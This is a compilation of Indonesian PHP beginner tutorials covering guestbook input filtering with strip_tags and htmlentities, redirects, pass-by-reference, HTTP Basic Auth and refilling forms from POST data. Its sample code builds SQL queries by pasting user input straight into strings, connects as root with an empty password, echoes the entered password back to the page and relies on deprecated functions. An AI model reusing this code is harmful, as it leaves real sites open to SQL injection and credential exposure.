ya, pokoknya hasil fungsi ini akan menerjemahkan tag-tag HTML sebagai teks
biasa.
strip_tags digunakan
untuk menghilangkan tag-tag HTML dan PHP dalam sebuah string.

Ketiga fungsi di atas bisa
digunakan untuk memfilter input/masukan form pada website kita, misalnya pada
form buku tamu. Untuk contoh penggunaannya, siapkan file2 berikut:

1. database

create
database db_gb ;
use db_gb;
create table guestbook (id int unsigned not null primary key auto_increment,
nama varchar(50) not null, email varchar(100) not null, pesan text not null)

























2. file
koneksi.php

<?php
$host="localhost"; $uname="root";
$pass=""; $db="db_gb";
$koneksi=mysql_connect($host,$uname,$pass);
mysql_select_db($db,$koneksi);
?>





















3. file
gb.html



<form method="post"
action="proses.php">

Nama *<br><input type="text" name="nama"
size="34"><br>
Email *<br><input type="text" name="email"
size="34"><br>
Pesan *<br><textarea name="pesan" rows="8"
cols="40"></textarea>
<br>*) Wajib diisi <br>
<input type="reset" value="Reset"
name="kosongkan">
<input type="submit" value="Kirim"
name="kirim">
</form>
<p><a
href="lihatgb.php">[ Lihat Data Tamu ]</a>

4. file
proses.php

<?php
include'koneksi.php';
if(isset($_POST['kirim']) &&
($_POST['kirim']==='Kirim'))
{

/*--- filter input dg kombinasi fungsi trim dan strip_tags ---*/

$nama=trim(strip_tags($_POST['nama']));


$email=trim(strip_tags($_POST['email']));


$pesan=trim(strip_tags($_POST['pesan']));



/*--- filter input dg kombinasi fungsi trim dan htmlentities ---*/


/*


$nama=trim(htmlentities($_POST['nama']));
$email=trim(htmlentities($_POST['email']));

$pesan=trim(htmlentities($_POST['pesan']));
*/


/* ---------------------- tanpa filter ------------------------*/

/*


$nama=$_POST['nama'];

$email=$_POST['email'];
$pesan=$_POST['pesan'];
*/





if(($nama=='') || ($email=='') || ($pesan==''))
$error= "Data tidak lengkap.<br>";





































if(($nama!='') && ($email!='') && ($pesan!=''))
{ $queryAddGb=mysql_query("insert
into guestbook
values(NULL,'$nama','$email','$pesan')");
if($queryAddGb)
{ echo"<font color=red><b>Guestbook
berhasil disimpan</b></font>";
echo"<meta http-equiv=\"refresh\" content=\"2;
url=./gb.html\">";
exit; }
else
{ echo"<font
color=red><b>Data gagal disimpan</b></font>";
echo"<meta http-equiv=\"refresh\" content=\"2;
url=./gb.html\">";
exit; }

}
















if(isset($error))

{ echo"<font
color=red><b>$error</b></font>";

echo"<meta http-equiv=\"refresh\" content=\"2;
url=./gb.html\">";

exit; }

}?>

5. file lihatgb.php
<?php
include'koneksi.php';
$queryGb = mysql_query("select *
from guestbook");
$jmlGb = mysql_num_rows($queryGb);
if($jmlGb==0)
{
echo"Data tamu masih kosong"; }
else
{ $queryTampil=mysql_query("select *
from guestbook order by id desc");

echo"<p>DATA TAMU<p>";

while($dataGb=mysql_fetch_row($queryTampil))


{
echo"".wordwrap($dataGb[1],70,"<br>",1)."<br>";

echo"".wordwrap($dataGb[3],85,"<br>",1)."
";
echo"<hr width=60% align=left>"; }}


?>





















Ok, setelah semua siap mari kita coba
menginputkan data buku tamu. Misal :

Percobaan
1

Masukkan spasi
yang banyak pada semua data nama, email dan pesan. Misal, tekan tombol spasi
mpe 100X , he..he....
Hasilnya, akan keluar pesan data tidak lengkap. Mengapa begitu? Karena sebelum
divalidasi, inputan spasi akan dihilangkan oleh fungsi trim. Akibatnya data
akan kosong dan keluarlah pesan data tidak lengkap.

Percobaan
2

Masukkan data berikut:
Nama :
<b><i><u>Phii</u></i></b>
Email : phii@poesing.bgt
Pesan : <b><font color=red>Ayo belajar PHP, biar
bisa bikin web sendiri</font></b>

Setelah berhasil
menginputkan data, silahkan klik [ lihat data tamu ]. Hasilnya, tag2 HTML akan
dilenyapkan. Kenapa bisa hilang? Karena sebelum divalidasi, tag2 HTML akan
dilenyapkan oleh fungsi strip_tags, sehingga yang akan tersimpan dalam tabel
adalah string yang bersih dari tag2 HTML.








Percobaan
3

Jadikan komentar
pada bagian script filter yang menggunakan trim dan strip_tags. Lalu, hilangkan
komentar pada script filter yang menggunakan trim dan htmlentities.
Masukkan data
yang sama dengan percobaan 2. Hasilnya, tag2 HTML akan ditampilkan, tapi hanya
sebagai teks biasa. Mengapa begitu? Karena sebelum divalidasi, tag2 HTML akan
difilter oleh fungsi htmlentities, sehingga hanya akan dibaca sebagia string biasa.





Percobaan
4

Jadikan komentar
pada bagian script filter yang menggunakan trim dan htmlentities.
Kali ini, kita
akan menginputkan data tanpa fliter, maka hilangkan komentar pada script tanpa
filter. Inputkan data sama seperti percobaan 1. Hasilnya? Lihat sendiri ya?
Setelah itu inputkan data sama seperti percobaan 2. Hasilnya? Lihat sendiri
juga ya.he...he..

Teman2 bisa donlot scriptnya disini

Kesimpulan, ketiga fungsi di atas
bisa kita gunakan untuk menyaring atau memfilter masukan terhadap form di web
kita, terutama dari pengunjung web kita yang doyan banget nginjek eh..maksudnya
nginject form dengan HTML injection

*) Kalo mo nyoba percobaan 4 dg
kode HTML yang bisa digunakan untuk deface, tanyakan saja pada Al-k

*) Untuk data email, silahkan ditambahkan
sendiri validasinya, kaya?e dah pernah dibahas ma Anggi. Cari sendiri ya

Akhir kata, cukup sekian dulu
belajar PHP dari Phii, lain kali ditambah lagi. ?BANYAK JALAN MENUJU ROMA?
Mungkin ketiga fungsi PHP yang barusan kita bahas bukan cara satu2 nya untuk
memfilter masukan, jika ada temen2 yang mengetahui cara lain, mohon
ditambahkan. Terima Kasih?









Sumber dari situs Ilmu Website dalam kategori php kuliah dengan judul Fungsi - fungsi untuk memfilter input form

Redirect Halaman

Redirect halaman
secara sederhananya berfungsi untuk mengalihkan halaman yang satu ke halaman
yang lain. Biasanya hal ini digunakan untuk mengalihkan ke halaman lain ketika
terdapat perbaikan pada site, ataupun ketika melakukan authentikasi, ataupun
pengisian database yang dijalankan melalui query menggunakan php ataupun server
side scripting yang lain.




Terdapat 2 jenis
fungsi redirect halaman ini:



Yang pertama itu merupakan meta tag tambahan dari html yang
digunakan didalam tag head.



Dan yang kedua adalah fungsi header yang
disediakan oleh php.





Redirect halaman
ini pun dapat digunakan untuk meredirect user untuk login terlebih dahulu
sebelum masuk ke dalam halaman forum ataupun halaman lain yang memerlukan
authentikasi login. Dengan catatan perlu ditambahkan satu atau dua buah
variable global Request, yang berfungsi untuk menyimpan halaman yang akan
dituju ketika selesai authentikasi. Hal tersebut akan saya jelaskan pada
artikel selanjutnya untuk redirect kompleks. Untuk saat ini saya hanya
menjelaskan pokok dari redirect itu sendiri.





Untuk yang
pertama, saya biasa menggunakan untuk meredirect user ketika selesai mengisi
guestbook. Sebagai contoh :

















<html>
<head>
<title>isi
buku tamu</title>
<meta
http-equiv="refresh" content="3;url=http://www.ilmuwebsite.com">
</head>
<body>Terima
Kasih telah mengisi guest Book ...</body>
</html>





Kita ambil kalimat intinya :

<meta http-equiv="refresh"
content="3;url=http://www.ilmuwebsite.com">



Setelah 3 detik maka anda akan dialihkan ke situs http://www.ilmuwebsite.com.













Untuk yang kedua,
fungsi header pada php. Penulis biasa menggunakannya untuk authentikasi.
Biasanya dipadukan dengan variable session. Perlu diketahui bahwa fungsi header
digunakan sebelum tag html.
Sebagai contohnya
:





<?php
header("location:
http://www.ilmuwebsite.com");
?>







Sekilas anda akan dialihkan ke ilmuwebsite.
Untuk sesi
selanjutnya penulis akan memberikan contoh yang lebih kompleks.

by : Al-k
alkemail@gmail.com
http://www.networkandgame.890m.com

Sumber dari situs Ilmu Website dalam kategori php kuliah dengan judul Redirect Halaman

Passing By Value VS Passing By Reference



Di
sini saya hanya akan
melakukan sedikit
review untuk mempermudah pemahaman teman2 tentang Passing By Value
dan Passing By Reference dengan cara membandingkannya. Start... ;)



passing by
value,



secara
default, semua nilai yang di-pass masuk atau keluar dari fungsi
adalah passing by value, bukan by reference. ini berarti PHP membuat
kopian dari nilai original dan nilai kopian itulah yang kita akses
dan kita manipulasi, bukan nilai originalnya.



dengan
begitu bagaimanapun kita ubah nilai itu, tidak akan mengubah nilai
originalnya...



contoh:



<?php


function jumlah($nilai) {


$nilai++;


}



$input=5;


jumlah($input);


echo $input;


?>



Penjelasan:



Pada
saat fungsi jumlah dipanggil,



jumlah($input);



fungsi
tersebut akan memasukkan nilai dari variabel $input kedalam
argumennya, jadi disini argumen fungsi jumlah adalah 5 (ini adalah
nilai aslinya). selanjutnya PHP meng-copy nilai asli tersebut,
kemudian hasil copy-nya digunakan untuk proses manipulasi fungsi,
sedangkan nilai yang asli dibiarkan tidak berubah. Proses
manipulasinya sbb:



$nilai++;



$nilai = $nilai + 1


$nilai = 5
+ 1


$nilai = 6



Untuk
output,



echo $input;



nilai
variabel $input yang diambil disini adalah nilai variabel aslinya,
sehingga hasil manipulasi fungsi tadi tidak dipakai, karena bukan
nilai asli. Jadi outputnya adalah 5



Tampilan
output:


tetapi
apabila menggunakan passing by reference akan bernilai 6.



bagaimana
outputnya akan bernilai 6? akan saya jelaskan lebih dahulu tentang
passing by reference.





passing by
reference,

berbeda
dengan passing by value yang bersifat mengkopi, passing by reference
memberikan nilai aslinya untuk diakses dan dimanipulasi, dengan
contoh yang sama seperti diatas, kita akan modifikasi menjadi
mekanisme passing by reference.



Untuk
mengubah jadi passing by reference, kita hanya cukup menambahkan
operator & pada argumennya.



<?php


function jumlah(&$nilai)
{


$nilai++;


}



$input=5;


jumlah($input);


echo $input;


?>



Penjelasan:



Sesuai
dengan penjelasan passing by reference diatas, nilai yang diakses &
dimanipulasi adalah nilai aslinya, dengan begitu hasil manipulasi
fungsilah yang gunakan sebagai outputnya, yaitu 6.




Tampilan
Outputnya:



Finish...
Mudahkan, saya ingatkan lagi bahwa ini hanya sekedar untuk
mempermudah pemahaman teman2 saja, sengaja saya menggunakan bahasa
yang umum agar lebih mudah dimengerti..



Selamat
membaca,


Semoga
berguna buat teman2 semua.. Amin.


Untuk download file-nya disini











Sumber dari situs Ilmu Website dalam kategori php kuliah dengan judul Passing By Value VS Passing By Reference

Membuat login ala cpanel


Pernahkan anda melihat tampilan login seperti diatas? Jika pernah, mungkin anda
penasaran bagaimana cara membuatnya. Untuk membuat login seperti di atas, Caranya sangat
mudah. Kuncinya terletak pada Header. Header dalam PHP mempunyai fungsi yang banyak
sekali dan bisa diotak-atik. Baiklah, saya akan menjelaskan cara membuatnya.
Buat file dengan nama index.php lalu ketikkan script berikut :

<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="Login ala Cpanel"');
echo 'Anda membatalkan login !';
exit;
} else {
echo "Anda memasukkan username {$_SERVER['PHP_AUTH_USER']}.
";
echo "dan password {$_SERVER['PHP_AUTH_PW']}.
";
}
?>

Sedikit penjelasan script diatas :
If(!isset artinya jika variabel PHP_AUTH_USER belum/tidak diisi, maka akan tampil kotak dialog
login. Dan jika diisi, maka akan tampil username dan password yang anda masukkan.
Bagaimana ? Cukup mudah bukan ? Selamat membuat login yang keren
Download sourcenya Disini

Dalam menjalankan script php anda membutuhkan XAMPP Server Console PHP Apache
Sumber dari situs Ilmu Website dalam kategori php kuliah dengan judul Membuat login ala cpanel

Menangkap Variabel Post


Halo semua, jumpa lagi dengan Phii. Kali ini, Phii akan membahas
bagiamana menangkap variabel post pada form buku tamu sederhana agar
ketika pengunjung memasukkan data dan ada beberapa data yang tidak
valid, pengunjung web kita tidak perlu mengisi ulang dari awal lagi.
Bingung? Kira2 begini, misal pengunjung web kita sudah menulis panjang
lebar untuk data pesan, tapi kelupaan nulis data email, padahal data
email wajib ditulis. Nah, ketika dikirim, proses akan dibatalkan karana
ada data yang tidak lengkap dan akan menampilkan kembali form buku tamu
yang kosong. Kasihan kan kalo harus nulis lagi, bisa jadi malah
pengunjung web kita males n ga jadi nulis buku tamu. sudah cukup jelas?
Oke...langsung kita bahas. Mari kita siapkan file2-nya :

database
create database db_gb ;
use db_gb;
create
table guestbook (id int unsigned not null primary key auto_increment,
nama varchar(50) not null, email varchar(100) not null, pesan text not
null);


file koneksi.php
<?php
$host="localhost"; $uname="root"; $pass=""; $db="db_gb";
$koneksi=mysql_connect($host,$uname,$pass);
mysql_select_db($db,$koneksi);
?>

file lihatgb.php
<?php
$queryGb = mysql_query("select * from guestbook");
$jmlGb = mysql_num_rows($queryGb);

if($jmlGb==0)
{
echo"Data buku tamu masih kosong";
}
else
{
$queryTampil=mysql_query("select * from guestbook order by id desc");
echo"<p>DATA BUKU TAMU<p>";
while($dataGb=mysql_fetch_row($queryTampil))
{
echo"<b>$dataGb[1]</b><br>";
echo"".wordwrap($dataGb[3],85,"<br>",1)." ";
echo"<hr width=50% align=left>";
}
}
?>

file gb.php
<?php
include'koneksi.php';

if(isset($_POST['kirim']) && ($_POST['kirim']=='Kirim'))
{
$nama=trim(strip_tags($_POST['nama']));
$email=trim(strip_tags($_POST['email']));
$pesan=trim(strip_tags($_POST['pesan']));

//validasi form
if($nama=='')
$error1= "<font color=red>&nbsp;&nbsp;&laquo; Nama belum diisi</font><br>";
if($email=='')
$error2= "<font color=red>&nbsp;&nbsp;&laquo; Email belum diisi</font><br>";
if($pesan=='')
$error3= "<font color=red>&nbsp;&nbsp;&laquo; Pesan belum diisi</font><br>";
if($email!='')
{
$polaemail = "^.+@.+\..+$"; //nyontek tutorial validasi email yg ditulis b_scorpio :)
$cek=eregi($polaemail,$email);
if(!$cek)
{
$error4="<font color=red>&nbsp;&nbsp;&laquo; Pola email salah</font>";
}
}

//jika semua data valid
if(($nama!='') && ($email!='') && $cek && ($pesan!=''))
{
//simpan data buku tamu
$queryAddGb=mysql_query("insert into guestbook
values(NULL,'$nama','$email','$pesan')");

if($queryAddGb) //jika query simpan buku tamu berhasil
{
//tampilkan pesan berhasil
echo"<font color=red><b>Guestbook berhasil disimpan</b></font>";
echo"<meta http-equiv=\"refresh\" content=\"2; url=./gb.php\">";
exit;
}
else //jika query gagal
{
//tampilkan pesan gagal
echo"<font color=red><b>Data gagal disimpan</b></font>";
echo"<meta http-equiv=\"refresh\" content=\"10; url=./gb.html\">";
exit;
}
}
if(isset($error1) || isset($error2) || isset($error3) || isset($error4))
{
//tangkap variabel post untuk menampilkan kembali data yang sudah diisi pada form
$ex_nama=trim(strip_tags($_POST['nama']));
$ex_email=trim(strip_tags($_POST['email']));
$ex_pesan=trim(strip_tags($_POST['pesan']));
}
}

include'lihatgb.php';

//semua value variabel diset kosong jika belum diisi
if(empty($ex_nama))
{
$ex_nama='';
}
if(empty($ex_email))
{
$ex_email='';
}
if(empty($ex_pesan))
{
$ex_pesan='';
}
?>
<p><br><br>FORM BUKU TAMU
<form method="post" action="">
Nama *<br><input type="text" name="nama" size="34" value="<?php echo $ex_nama;?>"><?php
if(isset($error1)) //jika data nama kosong
{
echo $error1; //tampilkan pesan di samping textbox nama
}
?><br>
Email *<br><input type="text" name="email" size="34" value="<?php echo $ex_email;?>"><?php
if(isset($error2)) //jika data email kosong
{
echo $error2; //tampilkan pesan d isamping textbox email
}
if(isset($error4)) //jika data email tidak sesuai dengan pola email
{
echo $error4; //tampilkan pesan di samping textbox email
}
?><br>
Pesan *<br><textarea name="pesan" rows="8" cols="40"><?php echo $ex_pesan;?></textarea><?php
if(isset($error3)) //jika data pesan kosong
{
echo $error3; //tampilkan pesan di samping textarea pesan
}
?>
<br>*) Wajib diisi <br>
<input type="reset" value="Reset" name="kosongkan">
<input type="submit" value="Kirim" name="kirim">
</form>

Mari dicoba :

Jalankan file gb.php
Coba isi beberapa data, misal :
data nama : Bolang
data
pesan: Aku senang sekali mengunjungi ilmuwebsite.com, karena disini aku
bisa belajar web programming. Untuk para staf, cayoo...jangan
pernah bosan berbagi ilmu, agar semakin banyak anak2 bangsa ini yang
pinter web programming. Selalu ditunggu artikel2 barunya, n....tetap
semangatttttt!!!

Lalu klik Kirim
Apa
yang terjadi? Si Bolang ini lupa ga masukin data email. Alhasil proses
simpan buku tamu ditolak karana data email wajib diisi.
Disinilah topik bahasan artikel ini berguna.
Yuppp....karena variabel yang sudah diisi telah ditangkap pak polisi,
eh...salah, maksudnya ditangkap oleh variabel ex_nama dan ex_pesan,
maka ketika form buku tamu ditampilkan kembali, data2 yang sudah diisi
tidak kosong tapi sudah terisi oleh data yg sebelumnya sudah
dimasukkan. Jadi Si Bolang tinggal mengisi data email saja.


Coba masukkan data email : bolang@yahoo, lalu klik Kirim
Aduh..aduhhhh...Si
Bolang ini orangnya kurang teliti sama kaya Phii. Jadi ketika disimpan,
lagi2 proses ditolak, karena pola email tidak sesuai dengan pola yang
sudah ditentukan.
Kali ini variabel yang ditangkap tidak hanya nama
dan pesan, tapi juga email. Form yang ditampilkan akan menampilkan
data2 yang sudah dimasukkan sebelumnya.


Kali
ini Si Bolang tidak akan melakukan kesalahan input lagi. Si Bolang
menambahkan .com pada data email, sehingga data email menjadi
bolang@yahoo.com. Lalu klik Kirim.
Horeeee....Bolang sukses mengisi form buku tamu.


Script php-nya silahkan donlot disini
Wuah...panjang
sekalee artikelnya, udah ah...sampai di sini dulu artikel dari Phii.
Jika ada teman2 yang menemukan cara lain silahkan menghubungi phii di
flore_ephi@yahoo.co.id atau share di ilmuwebsite.

*) Special thanks 2 --> Aeterna_16
Phii
dapet trik ini dari temen Phii yang nicknya aeterna. Makasih udah boleh
share ilmunya di ilmuwebsite melalui artikel yang Phii tulis. Salam bwt
rekan2 team PKTI, crazy6, aeterna_16, n angel. Woiii...cari proyek lagi
yukkkk....udah skarat nih..hahahah...

*) Salam bwt smua staff --> Anggi, Al-k, Safril, Fadli, Ivan, Ronny, Dr.emi n smua pengunjung setia ilmuwebsite


Sumber dari situs Ilmu Website dalam kategori php kuliah dengan judul Menangkap Variabel Post